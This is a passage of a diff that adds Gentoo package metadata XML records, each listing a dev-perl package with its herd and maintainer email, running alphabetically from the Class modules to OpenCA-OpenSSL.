+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Class-Autouse">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Class-Container">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Class-Data-Inheritable">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Class-Default">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Class-ISA">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Class-Inspector">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Class-MakeMethods">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Class-MethodMaker">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Clone">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Compress-Zlib">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Config-IniFiles">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Config-Tiny">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Convert-ASN1">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Convert-BER">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Convert-TNEF">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Convert-UUlib">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Crypt-Blowfish">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Crypt-Cracklib">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Crypt-DES">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Crypt-OpenSSL-RSA">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Crypt-OpenSSL-Random">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Crypt-RIPEMD160">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Crypt-SSLeay">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Crypt-SmbHash">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Curses">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/CursesWidgets">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/DBD-Pg">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/DBD-mysql">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/DBI">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/DB_File">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Data-Dumper">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Data-ShowTable">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Date-Calc">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Date-ICal">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Date-ISO">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Date-Leapyear">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/DateManip">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Digest-MD4">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Digest-MD5">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Digest-SHA1">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Email-Valid">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Event">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Exception-Class">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/ExtUtils-AutoInstall">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/ExtUtils-MakeMaker">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Festival-Client-Async">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/File-Find-Rule">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/File-Flat">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/File-MMagic">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/File-NCopy">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/File-ReadBackwards">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/File-Remove">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/File-Spec">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/File-Tail">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/File-Temp">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/FileHandle-Deluxe">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/FileHandle-Rollback">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Filter">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Finance-Quote">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/FreezeThaw">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/GD">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/GDGraph">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/GDTextUtil">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Geo-IP">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>mboman@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Getopt-Long">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Getopt-Mixed">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/GnuPG-Interface">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Graph">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTML-Clean">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTML-FromText">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTML-Mason">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTML-Object">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTML-Parser">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTML-SimpleParse">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTML-TableExtract">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTML-Tagset">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTML-Template">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTML-Tree">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTTP-BrowserDetect">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/HTTP-GHTTP">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Heap">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/IO-Socket-SSL">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/IO-String">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/IO-Tty">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/IO-Zlib">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/IO-stringy">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/IPC-ShareLite">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/ImageInfo">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/ImageSize">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Inline">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Jcode">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Lingua-EN-Inflect">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Lingua-EN-Numbers-Ordinate">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Lingua-Preferred">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Locale-PO">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Locale-gettext">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/LockFile-Simple">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/MD5">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/MIME-Base64">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/MIME-Lite">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/MIME-tools">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/MLDBM">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/MP3-Info">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Mail-Audit">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Mail-Procmail">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Mail-SpamAssassin">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/MailTools">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Math-BigInt">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Math-GMP">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Memoize">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Mon">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Msql-Mysql-modules">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-DNS">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-Daemon">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-IRC">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-Kismet">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-Netmask">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-Pcap">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-PcapUtils">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-RawIP">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-SNMP">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-SSLeay">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-Telnet-Cisco">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Net-Telnet">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/NetPacket">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/News-Newsrc">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Number-Compare">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/OpenCA-CRL">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/OpenCA-OpenSSL">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
